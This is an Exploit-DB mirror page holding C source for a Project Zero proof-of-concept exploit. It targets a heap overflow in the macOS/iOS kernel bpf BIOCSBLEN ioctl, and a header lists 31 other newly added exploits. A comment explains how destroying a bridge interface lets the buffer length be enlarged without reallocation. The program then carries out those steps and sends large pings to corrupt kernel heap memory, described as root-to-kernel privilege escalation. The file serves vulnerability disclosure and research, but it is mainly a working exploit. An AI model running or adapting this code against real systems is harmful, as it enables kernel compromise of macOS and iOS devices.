exploit-db-mirror/platforms/multiple/dos/41796.c
Offensive Security 6624e39c26 DB: 2017-04-05
31 new exploits

macOS/iOS Kernel 10.12.3 (16D32) - 'bpf' Heap Overflow

macOS/iOS Kernel 10.12.3 (16D32) - SIOCGIFORDER Socket ioctl Off-by-One Memory Corruption

macOS Kernel 10.12.2 (16C67) - Memory Disclosure Due to Lack of Bounds Checking in AppleIntelCapriController::getDisplayPipeCapability
macOS Kernel 10.12.3 (16D32) - Use-After-Free Due to Double-Release in posix_spawn
macOS/iOS Kernel 10.12.3 (16D32) - SIOCSIFORDER Socket ioctl Memory Corruption Due to Bad Bounds Checking
macOS Kernel 10.12.3 (16D32) - 'audit_pipe_open' Off-by-One Memory Corruption
macOS/iOS Kernel 10.12.3 (16D32) - Bad Locking in necp_open Use-After-Free

macOS Kernel 10.12.2 (16C67) - 'AppleIntelCapriController::GetLinkConfig' Code Execution Due to Lack of Bounds Checking
Broadcom Wi-Fi SoC - Heap Overflow in _wlc_tdls_cal_mic_chk_ Due to Large RSN IE in TDLS Setup Confirm Frame
Apple WebKit 10.0.2 - HTMLInputElement Use-After-Free
Apple WebKit - 'RenderLayer' Use-After-Free
Apple WebKit - Negative-Size memmove in HTMLFormElement
Apple WebKit - 'FormSubmission::create' Use-After-Free
Apple WebKit - 'ComposedTreeIterator::traverseNextInShadowTree' Use-After-Free
Apple WebKit - 'table' Use-After-Free
Apple WebKit - 'WebCore::toJS' Use-After-Free

macOS/iOS Kernel 10.12.3 (16D32) - Double-Free Due to Bad Locking in fsevents Device

Bluecoat ASG 6.6/CAS 1.3 - Privilege Escalation (Metasploit)

Bluecoat ASG 6.6/CAS 1.3 - OS Command Injection (Metasploit)

Broadcom Wi-Fi SoC - TDLS Teardown Request Remote Heap Overflow Exploit

SolarWinds LEM 6.3.1 - Remote Code Execution (Metasploit)

Logsign 4.4.2 / 4.4.137 - Remote Command Injection (Metasploit)

Broadcom Wi-Fi SoC - 'dhd_handle_swc_evt' Heap Overflow

Pixie 1.0.4 - Arbitrary File Upload
Apple Webkit - Universal Cross-Site Scripting by Accessing a Named Property from an Unloaded Window
Apple WebKit 10.0.2(12602.3.12.0.1) - 'disconnectSubframes' Universal Cross-Site Scripting
Apple WebKit 10.0.2(12602.3.12.0.1_ r210800) - 'constructJSReadableStreamDefaultReader' Type Confusion
Apple WebKit 10.0.2(12602.3.12.0.1) - 'Frame::setDocument (1)' Universal Cross-Site Scripting
Apple Webkit - 'JSCallbackData' Universal Cross-Site Scripting
Maian Uploader 4.0 - 'index.php' keywords Parameter Cross-Site Scripting
Maian Uploader 4.0 - admin/index.php keywords Parameter Cross-Site Scripting
Maian Uploader 4.0 - admin/inc/header.php Multiple Parameter Cross-Site Scripting
Maian Uploader 4.0 - 'keywords' Parameter Cross-Site Scripting
Maian Uploader 4.0 - 'index.php' Cross-Site Scripting
Maian Uploader 4.0 - 'header.php' Cross-Site Scripting
Maian Uploader 4.0 - 'user' Parameter SQL Injection
Maian Survey 1.1 - 'survey' Parameter SQL Injection
Maian Greetings 2.1 - 'cat' Parameter SQL Injection
2017-04-05 05:01:18 +00:00

166 lines
4.9 KiB
C
Executable file

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1125
The bpf ioctl BIOCSBLEN allows userspace to set the bpf buffer length:
case BIOCSBLEN: /* u_int */
if (d->bd_bif != 0)
error = EINVAL;
else {
u_int size;
bcopy(addr, &size, sizeof (size));
if (size > bpf_maxbufsize)
size = bpf_maxbufsize;
else if (size < BPF_MINBUFSIZE)
size = BPF_MINBUFSIZE;
bcopy(&size, addr, sizeof (size));
d->bd_bufsize = size;
}
break;
d->bd_bif is set to the currently attached interface, so we can't change the length if we're already
attached to an interface.
There's no ioctl command to detach us from an interface, but we can just destroy the interface
(by for example attaching to a bridge interface.) We can then call BIOCSBLEN again with a larger
length which will set d->bd_bufsize to a new, larger value.
If we then attach to an interface again we hit this code in bpf_setif:
if (d->bd_sbuf == 0) {
error = bpf_allocbufs(d);
if (error != 0)
return (error);
This means that the buffers actually won't be reallocated since d->bd_sbuf will still point to the
old buffer. This means that d->bd_bufsize is out of sync with the actual allocated buffer size
leading to heap corruption when packets are receive on the target interface.
This PoC sets a small buffer length then creates and attaches to a bridge interface. It then destroys
the bridge interface (which causes bpfdetach to be called on that interface, clearing d->bd_bif for our
bpf device.)
We then set a large buffer size and attach to the loopback interface and sent some large ping packets.
This bug is a root -> kernel priv esc
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/
//ianbeer
#if 0
MacOS/iOS kernel heap overflow in bpf
The bpf ioctl BIOCSBLEN allows userspace to set the bpf buffer length:
case BIOCSBLEN: /* u_int */
if (d->bd_bif != 0)
error = EINVAL;
else {
u_int size;
bcopy(addr, &size, sizeof (size));
if (size > bpf_maxbufsize)
size = bpf_maxbufsize;
else if (size < BPF_MINBUFSIZE)
size = BPF_MINBUFSIZE;
bcopy(&size, addr, sizeof (size));
d->bd_bufsize = size;
}
break;
d->bd_bif is set to the currently attached interface, so we can't change the length if we're already
attached to an interface.
There's no ioctl command to detach us from an interface, but we can just destroy the interface
(by for example attaching to a bridge interface.) We can then call BIOCSBLEN again with a larger
length which will set d->bd_bufsize to a new, larger value.
If we then attach to an interface again we hit this code in bpf_setif:
if (d->bd_sbuf == 0) {
error = bpf_allocbufs(d);
if (error != 0)
return (error);
This means that the buffers actually won't be reallocated since d->bd_sbuf will still point to the
old buffer. This means that d->bd_bufsize is out of sync with the actual allocated buffer size
leading to heap corruption when packets are receive on the target interface.
This PoC sets a small buffer length then creates and attaches to a bridge interface. It then destroys
the bridge interface (which causes bpfdetach to be called on that interface, clearing d->bd_bif for our
bpf device.)
We then set a large buffer size and attach to the loopback interface and sent some large ping packets.
This bug is a root -> kernel priv esc
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <net/bpf.h>
#include <net/if.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
int main(int argc, char** argv) {
int fd = open("/dev/bpf3", O_RDWR);
if (fd == -1) {
perror("failed to open bpf device\n");
exit(EXIT_FAILURE);
}
// first set a small length:
int len = 64;
int err = ioctl(fd, BIOCSBLEN, &len);
if (err == -1) {
perror("setting small buffer length");
exit(EXIT_FAILURE);
}
// create an interface which we can destroy later:
system("ifconfig bridge7 create");
// connect the bpf device to that interface, allocating the buffer
struct ifreq ifr;
strcpy(ifr.ifr_name, "bridge7");
err = ioctl(fd, BIOCSETIF, &ifr);
if (err == -1) {
perror("attaching to interface");
exit(EXIT_FAILURE);
}
// remove that interface, detaching us:
system("ifconfig bridge7 destroy");
// set a large buffer size:
len = 4096;
err = ioctl(fd, BIOCSBLEN, &len);
if (err == -1) {
perror("setting large buffer length");
exit(EXIT_FAILURE);
}
// connect to a legit interface with traffic:
strcpy(ifr.ifr_name, "lo0");
err = ioctl(fd, BIOCSETIF, &ifr);
if (err == -1) {
perror("attaching to interface");
exit(EXIT_FAILURE);
}
// wait for a packet...
system("ping localhost -s 1400");
return 0;
}